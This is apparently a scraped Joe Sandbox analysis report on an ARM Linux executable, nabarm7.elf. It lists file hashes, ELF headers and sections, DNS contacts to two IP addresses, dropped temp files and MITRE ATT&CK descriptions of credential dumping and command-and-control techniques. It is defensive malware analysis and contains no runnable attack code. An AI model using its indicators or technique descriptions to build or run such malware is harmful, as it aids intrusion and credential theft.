SHA-512:	772457EA0A8FC113545C9F819FBEE047B9A89E798557AB4519054E29E9BE6D71010B2D61A8CF25DC7D06FE101F9C23A53E1DCF2AFFD2F91A9786F9305FEB834D
Malicious:	false
Reputation:	low
Preview:	8000-18000 r-xp 00000000 fd:00 531606 /tmp/..1f000-20000 rw-p 0000f000 fd:00 531606 /tmp/..20000-26000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.050618618871188
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabarm7.elf
File size:	64'436 bytes
MD5:	b45ea3a0e06a983a4f55ab2cd3516196
SHA1:	68f11e8975a7322ca5eaa8f211dceb2846311d2a
SHA256:	eb0cd14393cd78f767c3dd8b8e537be1781aca9dc0b0ce8124fc803078df0d58
SHA512:	442970fc56492ed6a9bdcbb48cb47d16840ac2387bf35ad892bd91ce61d995679338b52b65276a1d120afda0f12a796aaabb314b50a796360d712ed834846d55
SSDEEP:	1536:Gpni5nIqm3QwlrKdpbcaNLGSZOr3dNlpriH0UCLsT3bsR:Tnxm5VK34aNLGSZOTq0UAsT3
TLSH:	8253F84AF9819F15D8D565BAFE0E528D335347A8E3FF72039D106B24378A96B0F3A901
File Content Preview:	.ELF..............(.........4...........4. ...(........pL...Lu..Lu..................................d...d...............d...d...d.......4A..............h...h...h...................Q.td..................................-...L..................@-.,@...0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	63756
Section Header Size:	40
Number of Section Headers:	17
Header String Table Index:	16

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	4
.text	PROGBITS	0x80f0	0xf0	0xe4a8	0x0	0x6	AX	0	16
.fini	PROGBITS	0x16598	0xe598	0x10	0x0	0x6	AX	0	4
.rodata	PROGBITS	0x165a8	0xe5a8	0xf8c	0x0	0x2	A	0	4
.ARM.extab	PROGBITS	0x17534	0xf534	0x18	0x0	0x2	A	0	4
.ARM.exidx	ARM_EXIDX	0x1754c	0xf54c	0x118	0x0	0x82	AL	2	4
.eh_frame	PROGBITS	0x1f664	0xf664	0x4	0x0	0x3	WA	0	4
.tbss	NOBITS	0x1f668	0xf668	0x8	0x0	0x403	WAT	0	4
.init_array	INIT_ARRAY	0x1f668	0xf668	0x4	0x0	0x3	WA	0	4
.fini_array	FINI_ARRAY	0x1f66c	0xf66c	0x4	0x0	0x3	WA	0	4
.jcr	PROGBITS	0x1f670	0xf670	0x4	0x0	0x3	WA	0	4
.got	PROGBITS	0x1f674	0xf674	0xa8	0x4	0x3	WA	0	4
.data	PROGBITS	0x1f71c	0xf71c	0x150	0x0	0x3	WA	0	4
.bss	NOBITS	0x1f86c	0xf86c	0x3f2c	0x0	0x3	WA	0	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0xf86c	0x16	0x0	0x0		0	1
.shstrtab	STRTAB	0x0	0xf882	0x88	0x0	0x0		0	1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0xf54c	0x1754c	0x1754c	0x118	0x118	4.4107	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0xf664	0xf664	6.0831	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0xf664	0x1f664	0x1f664	0x208	0x4134	2.6162	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0xf668	0x1f668	0x1f668	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 10:32:57.583954096 CET	57014	53	192.168.2.14	152.53.15.127
Nov 28, 2024 10:32:57.825097084 CET	53	57014	152.53.15.127	192.168.2.14
Nov 28, 2024 10:33:09.364243031 CET	37581	53	192.168.2.14	168.235.111.72
Nov 28, 2024 10:33:09.684879065 CET	53	37581	168.235.111.72	192.168.2.14

Start time (UTC):	09:32:55
Start date (UTC):	28/11/2024
Path:	/tmp/nabarm7.elf
Arguments:	/tmp/nabarm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	09:32:56
Start date (UTC):	28/11/2024
Path:	/tmp/nabarm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabarm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.096EPD (deleted)

/tmp/qemu-open.1gWbJE (deleted)

/tmp/qemu-open.25ggXC (deleted)

/tmp/qemu-open.2YcNcB (deleted)

/tmp/qemu-open.3IAqqC (deleted)

/tmp/qemu-open.3Qmn4A (deleted)

/tmp/qemu-open.3xCgiD (deleted)

/tmp/qemu-open.4puegD (deleted)

/tmp/qemu-open.5fefqD (deleted)

/tmp/qemu-open.6O69tD (deleted)

/tmp/qemu-open.6cXWhB (deleted)

/tmp/qemu-open.8KO1JB (deleted)

/tmp/qemu-open.9AofPE (deleted)

/tmp/qemu-open.9Q9ZqE (deleted)

/tmp/qemu-open.9QBjzE (deleted)

/tmp/qemu-open.9TfBHB (deleted)

/tmp/qemu-open.AJshzE (deleted)

/tmp/qemu-open.B6i2OD (deleted)

/tmp/qemu-open.BeVfSB (deleted)

/tmp/qemu-open.C2hUWC (deleted)

/tmp/qemu-open.CFxGXE (deleted)

/tmp/qemu-open.D6zk4D (deleted)

/tmp/qemu-open.DtrHxB (deleted)

/tmp/qemu-open.E4YhFE (deleted)

/tmp/qemu-open.ENnY9D (deleted)

/tmp/qemu-open.F5S9XA (deleted)

/tmp/qemu-open.FIA1rC (deleted)

/tmp/qemu-open.GfUPVE (deleted)

/tmp/qemu-open.GsBOWA (deleted)

/tmp/qemu-open.H5JGCB (deleted)

/tmp/qemu-open.HUc52C (deleted)

/tmp/qemu-open.I1NE8D (deleted)

Linux Analysis Report
nabarm7.elf

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre